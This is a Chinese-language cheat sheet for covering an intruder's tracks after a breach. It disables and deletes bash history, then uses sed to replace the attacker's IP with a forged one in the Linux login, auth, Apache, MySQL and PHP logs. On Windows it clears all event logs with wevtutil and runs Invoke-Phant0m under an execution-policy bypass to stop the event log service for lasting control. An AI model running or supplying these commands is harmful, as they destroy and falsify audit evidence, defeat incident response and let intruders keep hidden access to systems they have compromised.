Linux日志处理 #

Bash日志处理 #

bash去掉history记录,让系统不记录history

export HISTSIZE=0
export HISTFILE=/dev/null
1
2

history命令的清除,也是对~/.bash_history进行定向清除

rm -rf ~/.bash_history
history -c
1
2

系统日志 #

直接将日志清除过于明显,一般使用sed进行定向清除或伪造

日志文件 说明
/var/log/btmp 记录错误登录(登陆失败)日志;使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次成功登录时间,使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件;用last命令来查看
/var/log/utmp 只记录当前登录用户的信息;使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码(Centos)
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP,-i直接编辑文件,必须在后边
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/btmp*
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/lastlog
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/wtmp

sed 's/192.168.1.3/8.8.8.8/g' -i secure
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/utmp
1
2
3
4
5
6
7

Web日志处理 #

如apache的access.log,error.log。

sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/access.log
sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/error_log
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP
1
2
3

MySQL日志文件 #

log-error=/var/log/mysql/mysql_error.log		#错误日志
log-slow-queries=/var/log/mysql/mysql_slow.log	#慢查询日志
1
2
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_error.log
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_slow.log
1
2

php日志处理 #

sed 's/192.168.1.3/192.168.1.4/g' –i /var/log/apache/php_error.log 
1

Windows日志处理 #

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义

事件ID 说明
4648 登录成功,会记录登录来源IP
4625 登录失败,会记录登录来源IP
4672 使用超级用户(如管理员)进行特殊登录,不会记录IP
4720 创建用户
4733 从用户组删除用户
4779 注销事件,会记录登录来源IP

一、wevtutil+for循环清除所有日志 #

for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
1

二、 ps批量删日志 #

PS C:\> wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
1

三、运行ps脚本 #

powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"
#win日志服务此时就会停止工作了
#长期控制,记得验证
1
2
3

不过这种方法太过暴力,而且停止日志记录这个方法停止后无法恢复

稳妥点还是手动删除登录事件

上次更新: 11/2/2023, 3:02:48 AM